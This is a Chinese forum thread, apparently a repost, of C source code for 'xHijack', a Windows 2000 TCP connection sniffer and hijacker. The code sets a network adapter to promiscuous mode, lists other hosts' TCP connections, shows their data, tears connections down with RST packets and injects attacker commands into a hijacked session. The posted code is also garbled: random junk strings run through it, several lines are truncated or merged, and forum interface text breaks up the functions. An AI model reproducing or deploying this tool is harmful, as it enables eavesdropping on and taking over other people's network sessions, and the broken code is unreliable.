' w' {$ Y3 f3 B7 o4 {( s+ b; m8 y8 }: [) ^: S. q# }2 }
// & T2 e; Q. {* ]/ w8 L
//功能:处理Ctrl+C和Ctrl+Break事件
6 I7 ^: v7 K% B% d// 7 y0 Z% |4 x6 k# U* j6 o$ ?
BOOL WINAPI CtrlEvent(DWORD dwCtrlType)
" i6 a, X- Q; c8 b4 ^( i* j6 X{ - v" f+ N4 e. q- R$ _
  switch(dwCtrlType) 1 o1 T( G# f$ K) G; n9 S) g6 [
  {
& @$ \: L: S# T4 }# @( n* U    case CTRL_BREAK_EVENT:
4 C  P) L! w' T' n  {- `9 o# P! \      //reset action all flag 6 R( P+ i- p6 B+ k( M' K! K) c. G  s5 u. f
      ResetActionAllFlag();
/ p: u- ?0 ^" H# Y1 W      break;
' J7 {$ K% t3 F. e$ s    case CTRL_C_EVENT: 1 Y( H! D: C/ n# ]( h
      //terminate all thread
. c" z" B& V2 p      TerminateThread(g_hThread[0], 0);
1 ]  a& e/ P# i      TerminateThread(g_hThread[1], 0);
4 M# }  b; |/ c, `$ t6 ^) b% l      TerminateThread(g_hThread[2], 0); 9 B) r& b; I8 E  T
      TerminateThread(g_hThread[3], 0);
( x; n% Q. D4 K) y8 I" M! |      break; & q4 V( H% _$ c# E; w5 i$ V
    default:
. @8 N4 E) k" w9 w      break; : ]1 E+ @+ o' R! r! {0 r. s
  } 5 j+ u# Y' P2 z
  return TRUE; 9 T: C5 s0 q2 @7 K" m0 u) C8 f
} % a' t& V2 j+ F

" u# [4 ~, e9 ]+ j! S8 _//
4 Z2 a, r: M8 v& F  N0 i- a: c//功能:处理用户输入 / W; I  f( R2 t; j/ m7 T
//
" ^; S" ^) D, u  @. TDWORD GetConnNum(char *szStr, DWORD dwLen, DWORD *lpCommandPos)
) L4 ^+ g+ P" ~* m3 E{
3 O( B' {/ C# f! W# V9 H9 U0 X  DWORD  i;
' W- U0 X2 _3 ]3 f+ ~  char  szBuff[16]; 5 h# Z. \. d8 h2 u6 H. m: w

2 L' Z; y& v6 Y" T, e/ b9 \; |  *lpCommandPos = 0;
: Z# p8 \% e% s  for(i=0; i<15, i代码比较乱 # [2 D9 C! l+ C& [
//
7 n1 R2 g5 O- o$ T! F) KDWORD WINAPI InterfaceThread(LPVOID lp)
3 [' Y; W6 g6 u' B. p{
5 _% Y$ ~7 l; G- D1 o5 R  char  szHelp[] =  "l\t\t<-- List all connections\n"
! w. A, U. H6 g, K9 J' ?            "r x\t\t<-- Reset the number x connection\n" . t& _% `! m+ Z* U
            "w x\t\t<-- Watch the number x connection\n" $ W: J$ R: e. b$ F, l
            "h x command\t<-- Hijack the number x connection to execute command\n"
* b5 X3 B5 x; _$ m7 O  d  \            "[Note]\n" 1 Q- `5 J- u% f9 |& p# f6 O. u
            "Ctrl+Break to clear all action\n" 3 L- @/ f! }& u/ F5 a9 c; z
            "Ctrl+C to exit\n"; " S$ e* k, ^; e) ^1 u0 p
  char  szPrompt[] = "\nxHijack>"; 2 K* H0 `; q" n$ ]: R4 u: U9 a
  char  szBuffer[128];
0 p. W  J" \1 W- M5 v* K  DWORD  dwPos; : M1 `1 s1 \, H: G
  PCONNINFO  pTmp; & F  _3 f$ S4 [8 N5 x: A3 F
' q% |  P) q! h- w& f0 M
  while(1)
  G# ^! u# {# _& n4 D9 e, j  { " w$ Y2 q% s6 ]9 z6 i
    gets(szBuffer);//不考虑buffer overflow
8 v: n  R+ o, x, h2 Q2 [: @$ z    switch(szBuffer[0]) ' g- Y+ V/ ^3 \6 E) F8 v/ z3 A
    { + [/ H6 h* l0 x; V9 m. T
      case 'l': + k. q7 C9 H1 w3 I/ r$ {" K( z% Z
      case 'L': : s) _& F6 {) I# Y4 A9 k3 {* U' v
        ListAllConnection(); : }$ q7 j5 U9 ^- r; F
        break;
7 X: N+ S4 J( B! v4 @* v6 ^      case 'r': + L$ i3 k$ Q) v0 e
      case 'R': " c+ X# W; \6 l" S8 Q
        if(strlen(szBuffer) >2) & J# B9 v- J* w, F. `
        { 2 E; i% x8 L! G: z) n5 T# S1 N% ~
          g_dwCtrlConn = GetConnNum(&szBuffer[2], strlen(szBuffer) - 2, &dwPos); 4 c0 B5 U6 S3 B  v& f9 D5 y
          g_dwAction = ACTION_RESET;
: E  W7 v; M3 g, S) R- S# |) L        } ) @( d5 C; J) p" K9 n
        else printf("%s", szHelp); # p3 u& X+ s7 Q& J6 s' ?7 x' X8 h
        break; ' u& a+ e% R- Y+ z/ i9 w
      case 'w':
' X$ [0 L# N7 B+ `5 h/ Q& j      case 'W': ( @% d6 X$ T! S$ c" W. M
        if(strlen(szBuffer) > 2)
7 ~9 e3 T5 j4 ]5 v        { ! o8 S. y" v% s6 g+ `% f  e
          g_dwCtrlConn = GetConnNum(&szBuffer[2], strlen(szBuffer) - 2, &dwPos); + f) h1 C* v) Y4 {* _/ X2 f
          g_dwAction = ACTION_WATCH;
( p! p. i1 a( _2 E0 V        }   N  x0 X1 Z" a, N2 N7 N( |/ H0 Y7 K
        else printf("%s", szHelp); ) s; d" t+ a0 o: s' v7 U$ p$ q
        break; 1 L, e# S" q" T& G. X8 b
      case 'h': / _7 b9 q* c1 M9 j- H. e
      case 'H'://h 1 xxx
! [' \# ~& \& ^" x! Y, Z        if(strlen(szBuffer) > 5) 9 K. M6 H' S( @% ~1 I  U
        {
+ d) o9 }5 ~7 m( x. F. Y; Q          g_dwCtrlConn = GetConnNum(&szBuffer[2], strlen(szBuffer) - 2, &dwPos);
9 H/ z, e" b$ A0 x0 ?) x          //如果command第一个字符是'或"
8 z& x$ F( V3 t6 @          if( (szBuffer[2+dwPos+1] == '\'') || (szBuffer[2+dwPos+1] == '\"') )
+ ~) q2 M5 W6 R: }9 x          { / b: y8 x/ {, {6 e1 [( t
            strncpy(g_szCommand, &szBuffer[2+dwPos+1+1], sizeof(g_szCommand) - 3);
- J- r1 c8 h/ S: B/ R1 ^            g_szCommand[strlen(g_szCommand) - 1] = 0x0;//去掉最后一个'或"
: S5 S4 z3 b  ]3 N          }
9 Z# t( r) O4 U! y$ ^6 |8 }. G          else strncpy(g_szCommand, &szBuffer[2+dwPos+1], sizeof(g_szCommand) - 3); * u# X# P: K& ?' O
          strcat(g_szCommand, "\x0D\x0A");
/ R& t- W( {& e( d, K1 W1 h          g_dwAction = ACTION_HIJACK;
: |, W) E7 R; s; P% I1 b        } 9 R7 p( V" Y1 q: N
        else printf("%s", szHelp);
9 t/ v5 ?4 X4 A  _        break; % X) W3 U6 g' o5 }- ]/ u& c
      default:
; C% f$ c0 M" V6 L8 B  E, s        printf("%s", szHelp); # J7 X; r( [6 f
        break;
7 o; l* T- x0 w& n& R6 e    }//end of switch
& s' u! N! s7 \  S5 p    //find the specify ident's struct point
8 Z* z% ^( i  i! q0 Q2 o7 P" C# p    if( (g_dwCtrlConn) && (g_dwAction) ) 7 e/ E4 l/ y9 B! l
    {
* O, I* R% i9 R7 u3 T- d' W2 B      g_pCurrCtrlConn = NULL; * H4 m& b. z" N% T1 C
      pTmp = g_pConnHead;
( L% \6 {' T1 Z      while(pTmp) $ _7 H# s0 s' V8 m
      { ! |5 o3 R' _# ~+ j6 D
        if((pTmp->ident == g_dwCtrlConn) && (pTmp->bActive) )
  G, w; ]; e, y* I3 ?        { - j3 U+ _- i5 O1 Z8 S0 j- {
          g_pCurrCtrlConn = pTmp;
* N1 D: Q2 I  K: q+ _          break;
7 O9 p1 s. W! ]        } ; s4 C  U+ L0 A7 l( v
        pTmp = pTmp->Next;
* @3 I  U& r$ j" ?9 q7 @& o      }
) `$ q' q$ D2 o. v      if(!g_pCurrCtrlConn) * W0 v  w' f* n- T
      {
  U4 ?; c4 d7 I        printf("Can't find the number %d connection.\n", g_dwCtrlConn); 2 R1 Z% W; u& q
        //reset action all flag 0 H9 m9 |$ D1 V" V/ x
        ResetActionAllFlag();      
+ u& n/ ]* F6 M4 L7 H  k      }
: x# S0 @9 y8 J0 j' B' G( o    } 8 R3 O/ @! [8 Y: J
    if(!g_dwCtrlConn) ResetActionAllFlag(); ; `; B+ f6 t$ K0 E/ p1 }
    //显示当前用户所期望的动作
' _, O* ]/ f+ J. F    printf("\nCurrentAction:"); 4 ~5 b  p! \3 F- @7 E6 j
    switch(g_dwAction) , }1 ~- C4 E! ~3 }" h7 a
    {
+ u7 C, t# K. W! o. J- a6 W      case ACTION_WATCH: ; T% S( P5 y0 S
        printf("ACTION_WATCH");   ^/ n" d0 O, m
        break;
+ c& \- {* |8 \) d+ S/ x4 U* u) j      case ACTION_RESET:
% l* Y2 Y( B& I( {# q        printf("ACTION_RESET"); / ^( J6 O. M: j* c! H/ F" W
        break; 8 J) t  D) C- a, V$ Q+ s0 y
      case ACTION_HIJACK:
( J! g" x2 T, v: y* d        printf("ACTION_HIJACK"); 1 Z5 e: ?7 u0 z
        break;
7 ^0 V( h& V1 s0 s% z- ~9 N6 d      default: ) k5 ~& _0 F+ v
        printf("ACTION_NONE"); + F" j# g4 z* n5 o$ s
        break; " D' H! r& R/ [. N: c' ]' I
    }
( I1 ^: j) X' d- D! F  n: m1 s5 g7 l4 V    printf("\tCurrentCtrlConn:%d%s", g_dwCtrlConn, szPrompt);
3 B2 g7 I# Y' `  }//enf of while
* |) Q9 [+ A  |) g  return 0; % [1 d' V/ b; ]* ~
}
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

// 9 G4 L, a8 l, _4 \- b //功能:列出当前所有连接 # O$ v/ t2 }0 C5 Y9 C2 U+ V// / e9 H$ z/ L/ z- G o4 y% n+ w6 D; W void ListAllConnection() 3 j4 G! ~7 r/ I: [( o { 0 V- b- z+ Z% P PCONNINFO pTmp; $ m/ a5 b# A z& K0 `; S3 S SOCKADDR_IN saDest, saSource; b+ r0 \ s; c% J; k% N pTmp = g_pConnHead; $ y9 I- K1 _+ ?5 O: v% A3 C6 ~ while(pTmp) : l q( x: Y: e9 S& y1 p { * R- d: U- C+ s5 ~ if(pTmp->bActive) , R; Z, E% `. [* s$ V+ u { ) @4 m/ O5 S( D* H ~, T2 D! B. w; W saSource.sin_addr.s_addr = pTmp->dwServerIP; 0 n# L' f6 I. H; t0 [5 K: u saDest.sin_addr.s_addr = pTmp->dwClientIP; ' P4 ]6 h7 I2 ` printf("(%d) %s:%d <--> ", pTmp->ident, inet_ntoa(saSource.sin_addr), 2 R: g U9 j. O) @" e5 `% R ntohs(pTmp->uServerPort)); + Y" V/ G( O7 i: Q2 o5 L* Z printf("%s:%d\n", inet_ntoa(saDest.sin_addr), ntohs(pTmp->uClientPort)); ' @! I' ?. u, u5 f: Q8 M } ; e5 Y/ N8 o# F/ n, U+ { pTmp = pTmp->Next; # B! G1 Z/ M' Y0 Z; | } 1 g6 b2 c. e4 _) a ~ } & o7 z5 W: ^) T" n* p : c; d: e- U* |+ V// % z9 |6 G% A% Z //功能:初始化一些数据,取得指定网卡的MAC地址和所有IP地址 / z! z' \3 m* B// " x- p5 f& _* ^+ z LPADAPTER InitAdapter() 3 C& X, B$ u) P- s. t( u { 5 N$ R; D% ]' v6 {: _1 S' h( ? LPADAPTER lpAdapter; % Z( S# X- k5 p$ _- a static char AdapterList[Max_Num_Adapter][1024]; 8 g! h) K$ L' ^% Z# L7 { char szSelectAdapterName[512]; - j' b. N7 B9 m7 t WCHAR AdapterName[2048]; " V- {: h+ o1 I, {7 o" M8 } WCHAR *temp,*temp1; ( r$ H& j; [5 P& i5 z$ F% P. `6 B# q& c ULONG AdapterLength = 1024; ' q' L% W Z. E& B6 g/ Q( o5 C int iAdapterNum = 0; ; G' A3 m" |+ W" I int iRetCode, i; : Y! v9 ^! r6 ^" Y5 ?1 ]4 ]; y int iAdapter = 0; , A9 ^: ~9 X$ M& ?7 q) n* ~ ULONG ulLen = 0; & O% Y+ H4 T' s) _ DWORD dwRet; # `" c: {# d \! ] PIP_ADAPTER_INFO pAdapterInfo = NULL, pTmp; + n- k" B$ d: v5 `# f! K- K) @, h PIP_ADDR_STRING pIPAddr; ) Y2 t' |* O1 [7 K: N - [( j; z) T6 f& x //Get The list of Adapter , |! \' U; e5 ] if(PacketGetAdapterNames((char*)AdapterName, &AdapterLength) == FALSE) : G/ h* P: E7 h/ l/ |+ _- C { 4 J' s+ D( h$ t1 ?4 o printf("Unable to retrieve the list of the adapters!\n"); ( [/ [* ~, G9 X9 Q* p$ q: N return 0; 6 n4 C1 E) Q: }/ S } ' w: F# O0 S9 C, f temp = temp1 = AdapterName; : N/ {1 C T1 B/ [ i = 0; * O7 r, |7 P6 P7 @ while ((*temp != '\0')||(*(temp-1) != '\0')) ' N1 s. D) r5 i R" Q1 H { " l! Y5 s. E( v0 k' m if (*temp == '\0') 8 e$ [1 Y- A7 Q8 E { 3 W1 L4 L5 j1 e% u! H5 z memcpy(AdapterList,temp1,(temp-temp1)*2); ' d/ J) x( P* Y5 g printf("%d - %S\n", i+1, AdapterList); $ l7 F" {+ u+ B& D: K temp1=temp+1; / \9 G# A) _ |! b- i" U i++; : i9 S/ H( @) L1 Y# B; h+ J2 Y } - k3 Y$ W3 v8 W, A3 z) l3 @ temp++; 6 R4 H' ]. @9 [+ Q5 h3 ~) c } , ]0 }& [/ X' V& F9 ? //choose adapter 8 G1 _4 ^3 j9 k8 P( g5 |- {+ G while((iAdapter <= 0) || (iAdapter > i)) 9 Q8 T+ u4 F; Q# n4 m( P. L, p { 1 y2 m3 C( a# }! l' z. V8 U i& `6 ~ printf("\nPlease choose your Adapter:"); " q8 o: @* ?8 u, ?$ q$ r8 H8 ?3 Z9 I scanf("%1d", &iAdapter); ' L6 C! C1 K6 @6 ], L0 d } . ^; \9 {# i" q$ e6 a+ f printf("\n"); ( [/ w2 N3 @8 i" F- R //---------------------------------------------// . y1 K) n$ v6 e: E3 g //这里调用iphlpapi来取得本地ip_addr和mac_addr / b0 N) c g1 L- Z, g9 ] sprintf(szSelectAdapterName, "%S", AdapterList[iAdapter -1], sizeof(szSelectAdapterName)-1); ; ^9 o" O4 E" ^1 P dwRet = GetAdaptersInfo(pAdapterInfo, &ulLen); 0 g0 `% F; F |7 U if(dwRet != ERROR_BUFFER_OVERFLOW) $ H7 M3 C+ _0 ^ J$ M5 D0 l' z! ^ { 5 [( V6 r4 ]% k; l* b printf("GetAdapterInfo error:%d\n", GetLastError()); K9 K& X( S7 B8 ] h return 0; 0 U/ Y( H5 L4 U1 [ } / I# T# p2 B/ G3 d+ j( `; J! n0 Y pAdapterInfo = (PIP_ADAPTER_INFO)malloc(ulLen); F* U. d! D( P4 k6 v/ T if(!pAdapterInfo) ! }0 _! B5 G' k0 K- k6 K { ; S y/ X* P; c printf("malloc memory for pAdapterInfo error:%d\n", GetLastError()); ! l( w" a3 u# A6 K; J8 I+ c return 0; 6 m; T0 p# c: A. e1 x } ; ^8 _" O3 v# w3 a7 h* j dwRet = GetAdaptersInfo(pAdapterInfo, &ulLen); ! u, W' R7 H! a. g: Q if(dwRet != ERROR_SUCCESS) 0 ^* `8 P! [7 X/ P# G( J { . g" F8 ~8 q( z, l2 R- e; ? printf("GetAdapterInfo error:%d\n", GetLastError()); 8 T& B4 x8 x- X return 0; 8 X1 n8 w) ]% ^/ Q* x } $ j' B6 V, T9 i pTmp = pAdapterInfo; 6 L% L9 B, }9 \7 n4 w& { while(pTmp) $ }. B, X0 y* Z8 ?: a { 8 i' u. D! `" o. _: J //字符匹配
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

if(strstr(szSelectAdapterName, pTmp->AdapterName)) . C. J6 \# r) h! E& u" c1 o { ! T- y- w* R& a7 P- u- m x+ M. G //found it,get own adapter mac address - X) L% ~/ o8 g5 Q! w8 w memcpy(g_szOwnMAC, pTmp->Address, 6); ) k1 K& ^9 M" O& {/ p# } //get ip address 2 J8 D: w' W4 t; r3 p) v pIPAddr = &pTmp->IpAddressList; % f2 D( a5 _( O. |$ R; H1 } while(pIPAddr) ( o+ Z; I% n/ O4 K2 ^; m( q7 Q: H { 9 J/ q: M6 c- t2 S& F. A1 r" V0 ^ g_OwnIP[g_TotalIP++] = inet_addr((char *)&pIPAddr->IpAddress); 2 C( E* o8 J5 i. \) | pIPAddr = pIPAddr->Next; % j. A* a% I$ }& z6 n7 I if(g_TotalIP >= Max_Num_IPAddr) break; 5 q" Y- @; y6 ~3 K/ o0 W0 u } # t4 Q* M5 R* a X break; , d5 W$ i# `3 n1 c/ n } ) K% Z0 M0 L* Q) h2 z2 m pTmp = pTmp->Next; ; U0 _: S2 ^! m3 x+ m0 e } 3 M; J' {4 W6 K8 Y- t! V free(pAdapterInfo); 4 u' H& k/ ~/ N: w: M3 ~$ K9 p //not found,return zero $ ?& e, x# s5 G5 X+ {& E1 x if( (!pTmp) || (!g_TotalIP) ) return 0; 2 K! E. b; g1 X) d; E //---------------------------------------------// + s- d8 L$ v% k3 l7 j/ q% z a; X' G //open adapter " V$ p, r: f; Q# O lpAdapter = (LPADAPTER) PacketOpenAdapter((LPTSTR) AdapterList[iAdapter - 1]); & w1 C# |. s& w if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE)) & F% ~1 a0 I! Z4 | }3 t { - Z' x# L# J; f( j iRetCode = GetLastError(); 7 e3 l ]2 R$ }8 _5 Z6 T printf("Unable to open the driver, Error Code : %lx\n", iRetCode); + A7 m9 L6 @) o' a) l( R% m return 0; / R) j. B( W: u: `% A$ o } * }) N% u1 u: v, t, |* D% c // set the network adapter in promiscuous mod 9 }) Q; F8 r5 N# t" r6 Q9 \6 Q if(PacketSetHwFilter(lpAdapter, NDIS_PACKET_TYPE_PROMISCUOUS) == FALSE) 3 T1 y+ F2 q& `8 a: p; o! | { 2 l& d% w! U% K- f printf("Warning: unable to set promiscuous mode!Try set ALL_LOCAL mode!\n"); 8 U2 S' I4 |/ z8 {8 E, h! d! t. C if(PacketSetHwFilter(lpAdapter, NDIS_PACKET_TYPE_ALL_LOCAL) == FALSE) 7 R% p9 y' G: n/ A( S% M4 h1 a { ! Y$ J% G2 K2 o! U printf("Unable to set ALL_LOCAL mode!\n"); & p) {* a' Z' J- o1 ]0 n3 Y7 ^ return 0; $ o; @6 m, H# | } T v% \9 K7 T$ A2 K } 9 O! U/ v3 [5 j9 l/ P! u // set a 512K buffer in the driver - S1 o j r. x+ ^* G1 U, K if(PacketSetBuff(lpAdapter, 512000) == FALSE) ' t& X T; Y/ d6 d0 i+ ]' k { " T. f' I) c& S! F0 \; V7 @! f& o printf("Unable to set the kernel buffer!\n"); $ e' b! B( M4 h! r& d, _$ B return 0; 7 `; w: q7 N9 \5 K8 f7 L } 2 ]/ z# E- q8 U // set a 1 second read timeout 0 A, H9 E' K+ k! Y) P/ g if(PacketSetReadTimeout(lpAdapter, 1000) == FALSE) * n$ H: s: c' }& ^/ X printf("Warning: unable to set the read tiemout!\n"); % i6 c1 }4 z" `8 q; l if(PacketSetNumWrites(lpAdapter, 1) == FALSE) t9 j* m; w9 ?( R! N; K1 U) h& ]. S printf("warning: Unable to send more than one packet in a single write!\n"); 9 Q: A: r3 S9 V( ^0 h/ a //设置发送的packet 8 O; @% W, ]" I1 W7 E g_lpSendPacket = PacketAllocatePacket(); ( A) k, v" o" q7 W, ?& Y/ } if(g_lpSendPacket == NULL) , a/ ~" S( B$ f2 g { 5 |7 r. q7 H0 L Y* X printf("Error:failed to allocate the LPPACKET structure for send packet.\n"); r. C" ?' f; A) H+ y return 0; % Z$ {1 Q0 c5 Z" l" ` } % Z6 }# k5 L/ o+ i2 L ZeroMemory(g_szSendPacketBuf, sizeof(g_szSendPacketBuf)); 4 T, N0 n. J. ?, v0 i0 H! f4 U2 p PacketInitPacket(g_lpSendPacket, g_szSendPacketBuf, 1514); - l- W+ x! v; Z/ E) `0 u return lpAdapter; " D5 N; F; w, o0 ?+ n2 S% ?( ?# c } 2 l( N4 @' \9 t# S: J# q 5 A8 Z! t8 n2 q5 e) u1 [. Y* \//功能:帮助信息 7 d( C# ~5 P( T void usage() + h9 T. G) h' S6 v{ 7 f. w) |. j7 j printf( "xHijack v1.0 -- multipurpose connection intruder / sniffer for windows 2000\n" ( R) D6 M3 D$ Z+ \ "By eyas 2002/8/19\n" # W: T Q. _) O3 e0 C" c7 U/ x "http://www.ey4s.org\n" % K* l0 q, A) p7 i. S( N7 h$ Z% a "Thanks to Refd0m and shotgun\n\n" : P6 g+ p+ L; h5 ^0 ?* @5 k: K "Usage: xHijack ServerSide ClientSide\n\n"); ) U: m' Z5 Q. d5 m8 g} " K) R( c1 G% c- B2 r ) z1 W, k" _& U4 i" d // ' L# f2 v& Q8 X5 |3 R' ]) F3 a //功能:显示数据包的一些详细信息 ) ^% b- K6 I, c' U! z" f8 g// + w" b/ ?" G0 t, M! ^ @9 W: [VOID ShowPacketMoreInfo(PTCPPACKET pTCPPacket, USHORT usDataLen, BOOL bDetail) 3 r) {* _; k6 ?* ^; q { & n( _3 |! J+ B2 d. X* e+ ^ SOCKADDR_IN saDest, saSrc; 3 |9 J+ j3 B! B6 d0 [ unsigned char FlagMask; ' @/ v$ _" k) s$ x0 }' D: ? int i; ) s4 C# \3 Y. l. T8 _8 k # B) Z9 F. J) f saDest.sin_addr.s_addr = pTCPPacket->iphdr.destIP; * y' d$ D$ O; f& V6 ^/ V saSrc.sin_addr.s_addr = pTCPPacket->iphdr.sourceIP; 2 e& u2 H0 }9 y) C printf("\n%-15s:%-5d -> ", inet_ntoa(saSrc.sin_addr), ntohs(pTCPPacket->tcphdr.th_sport)); Y- J$ M5 X8 w) e7 X% M' Y" i printf("%-15s:%-5d DataLen=%d ", inet_ntoa(saDest.sin_addr), 1 v7 S# r! T/ F: D3 y ntohs(pTCPPacket->tcphdr.th_dport), usDataLen); $ j( r w' ]2 r' ~$ j; }" X2 `5 x //display TCP flag & K. c% a$ E3 X l for( i=0, FlagMask=1; i<6; i++, FlagMask <<= 1) - G q( F2 A* T4 U6 Q5 E+ X { ! y9 w1 A) t3 A# ] if((pTCPPacket->tcphdr.th_flag) & FlagMask) $ J. {# z$ ^0 V8 }# L printf("%c", g_szTcpFlag); ' N) P9 B0 x/ T3 c8 O else printf("-"); 0 |0 O7 i1 P3 P } ; |+ G- |6 P0 }0 N5 n' s/ f1 o( B printf("\n"); 2 h4 v1 R& W: a' H. \. \% \1 n0 G) L* S //如有需要,可显示更多详细的信息 - ^6 w. [& {4 Y' v0 {9 |! k! u3 F if(bDetail) , M+ \7 }4 t4 w3 m6 t printf("SEQ=%.8X ACK=%.8X\n",ntohl(pTCPPacket->tcphdr.th_seq), ntohl(pTCPPacket->tcphdr.th_ack)); # g) c& b8 ]( F} + Q1 Z: I7 S9 E 3 A. b. F! j9 e; a4 }8 |9 y// 5 `/ N8 Q3 f' v/ x//功能:处理收到的数据包(只分析本不属于自己的包),然后根据用户输入,完成各种功能 3 u, J( u- I4 F- S// 0 D2 \7 U$ U7 L# F" Z5 O5 a" h; }6 K: ` DWORD WINAPI AnalysePacketsThread(LPVOID lp) * Y. v2 Z6 I/ z7 G{ % S6 Z. X4 ^4 i: M ULONG ulBytesReceived; $ i* o0 U9 q2 o6 h( F USHORT usDataLen; B" O, I( J) { //USHORT usIPHeadLen, usTCPHeadLen; : J ]2 m6 V! B! T- `, u* o char *buf; ( B# g/ N, L: d+ q# }" {( f7 V4 f u_int off, i; 1 l/ w7 U) {* d% V PTCPPACKET pTCPPacket; 4 Z4 @8 _" Y' F" P U$ o struct bpf_hdr *hdr; 4 J8 X0 c4 ?: @9 \ LPPACKET lpRecvPacket; # B! J9 `! k6 e/ f char szPacketBuf[256000], *pStr; * L0 u$ e7 @% f8 W' D BOOL bDeleteNode, bAddNew; 0 H" X5 X: K# E0 G! O DWORD ident;//当前所处理的数据包,所属的连接的唯一标识 - e! `6 N; R* K; j: i) ~" F, K BOOL bClientToServer;//数据包是否从客户端发送到服务器端 - _$ S8 g/ x$ g$ m9 K$ _1 a5 x3 |/ V ; \' P/ o$ t3 r //设置接收的packet * f4 l& s2 `: W Q( t9 s. I& g' m lpRecvPacket = PacketAllocatePacket(); * `; j1 k9 r/ x( a) C, M _ if(lpRecvPacket == NULL) 6 R( v" Y! P: d0 }5 |, R7 Y7 u { " p6 E% m; u$ U# N0 B: i2 y printf("Error:failed to allocate the LPPACKET structure for recv.\n"); $ p% w' N0 o1 [1 D9 Y* d9 A return 0; $ l7 a8 F+ m+ H9 r& H: \ } % _8 u% x, n" P ZeroMemory(szPacketBuf, sizeof(szPacketBuf)); 6 L0 L8 d; P% B" r5 ]' H% W6 u PacketInitPacket(lpRecvPacket, szPacketBuf, 256000); : P3 I/ ]" i/ {( F- g# m+ e. o% D$ d while(1) $ s: ?! Y% P8 }* S* A { / u; \$ X9 {' V // capture the packets / K8 u" ~$ f* {$ x; `- T if(PacketReceivePacket(g_lpAdapter, lpRecvPacket, TRUE) == FALSE) ) U: z& ^* r1 \" g% `( \5 D, q6 u { , i6 s& M9 z1 z+ [, O8 M printf("Error: PacketReceivePacket failed.\n"); $ ]; T; i! @( I" H4 P0 s break; * \" h; D% T( T' N" |4 [ } 6 o9 A! O2 ?/ s3 E6 G9 F ulBytesReceived = lpRecvPacket->ulBytesReceived; 2 F0 c$ c# J+ T W' _, g) H+ F buf = lpRecvPacket->Buffer; 6 F9 z5 Z3 b- L8 J" s' \) g off = 0; + r7 ~# z1 O5 \, `, D while(off < ulBytesReceived) 8 \; a" t% P) G+ {- X { ) G' r& {, E: J% W+ b& W hdr = (struct bpf_hdr *)(buf + off); " m( u. f7 U2 O off += hdr->bh_hdrlen; ; Z6 v* U L, j+ S% ]: V# G pTCPPacket = (PTCPPACKET)(buf + off); & j2 x" |! t4 } off = Packet_WORDALIGN(off + hdr->bh_caplen); ; }# ]& K7 `4 _% m4 I" I9 p //不需要处理自己发出的包(转发或本机发送的) ! I( m. x z/ C* Y; n if(memcmp(pTCPPacket->ehhdr.SourceMAC, g_szOwnMAC, 6) == 0) continue; 0 a: c8 j' M" C2 s //检查是否IP包 ) ?' P/ @$ N) O+ y. v K if(pTCPPacket->ehhdr.EthernetType != htons(EPT_IP)) continue; ' c0 V3 O" P, b# X //检查是否TCP包 % j- h) o5 C4 f+ `, W& v if(pTCPPacket->iphdr.proto != IPPROTO_TCP) continue; 8 ~. B7 P* L( [, I //也不处理DestIP是自己的包 3 N/ x) O; [/ H! X* C1 x for(i=0; i
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

pTCPPacket-&gt;iphdr.sourceIP, pTCPPacket-&gt;tcphdr.th_sport, TRUE, FALSE); 6 x$ R0 \+ P! A
            //reset action flag
, E) g& c) D2 U$ H. p9 x* @8 k/ N            ResetActionAllFlag(); 2 E" _% x/ x' W
          } 7 l1 u, O+ E; c& q" B1 H1 S
          //start hijack
# @0 E0 p) E/ U! i          else if(g_dwAction == ACTION_HIJACK) 0 l' e0 x) {( ?% P, v6 r
          { 8 `! d& l# F+ C* E, X
            //send rst packet to client
: `9 D, {9 A+ |' o4 c            SendRstPacket(pTCPPacket-&gt;tcphdr.th_ack, pTCPPacket-&gt;tcphdr.th_seq);
0 J5 D( r, {' E6 }2 N. F            //send hijack packet to client ( _0 |2 l# W; N1 m
            SendHiJackPacket(pTCPPacket); 9 [6 r1 ]7 P5 \
            //reset action flag
+ h* @# i/ i  X, H            ResetActionAllFlag();
2 @1 V, ^% o- Z          }   p2 `; o0 x# J4 l7 I' N' h
        } 4 x. Y' p+ v: _# K0 J. I7 N
        //show the tcp data
2 n2 V8 \5 p! C& r) }        if( (g_dwAction == ACTION_WATCH) &amp;&amp; (usDataLen) ) - s- ~* V# w# d+ A
        { ( S# V# N7 m) h0 b4 K8 E3 a
          ShowPacketMoreInfo(pTCPPacket, usDataLen, FALSE); ' K5 W! s: q3 _/ S# r# f2 [
          //暂不考虑IP、TCP头不是20字节的情况
6 B& ~6 q! _) F3 d) Q# J          //pStr = (char *)pTCPPacket + sizeof(EHHDR) + usIPHeadLen + usTCPHeadLen;
8 j  b, Q' z! T4 P9 I          pStr = (char *)pTCPPacket + 54;
0 e" l- k0 I3 I          for(i=0; i        } + j% N# ?( w5 s5 G: v! v2 _
      }
* G; |# X; ~. [) q$ k      //debug output
2 ^8 j  s+ s% i: F      //ShowPacketMoreInfo(pTCPPacket, usDataLen, TRUE); 6 H- S+ Z" k6 i; z! a- N
    }//end of analyse packets while   t; t, v- p, I/ |
  }//end of recv packets while 1 t( C( V( h1 {3 H- N1 y* x
  PacketFreePacket(lpRecvPacket);
+ T1 m4 J: V$ Q4 |! o4 k( E1 s  return 0; 5 t5 k% J  t" k6 q7 h) b
} - t2 d4 _4 W* j5 r

& G) M( ~7 `8 Q# a( h- [% M+ O- k' ]) D
//
& H2 z( K- h# M* P. m/ |//功能:操作记录所有连接信息的单向链表 0 t6 H1 Y( M" v
//
4 O9 R5 k; Q. f& P6 g8 _2 UDWORD CtrlConnInfoLink(DWORD dwServerIP, USHORT uServerPort, DWORD dwClientIP, + Q# z5 D4 o/ L6 y, f7 a
            USHORT uClientPort, BOOL bDelete, BOOL bAddNew) ! C2 m( }- @/ o( d% m
{ 0 e" i9 o5 q7 R* y4 t$ Y
  PCONNINFO  pNew, pTmp;
! h( v5 G/ z+ k8 r: q' e6 w% ^8 i) f
  pTmp = g_pConnHead;
+ @" \- T+ j+ h, v- P/ ~6 j  while(pTmp)
0 N  _/ H; w9 i0 S2 V& s  { 9 Z8 a1 q5 F0 w% c8 W$ q
    if(pTmp-&gt;bActive) # e% [9 K# r7 n* k9 W% E7 W
    {
6 \! V# k  C6 t% S- k      //found it
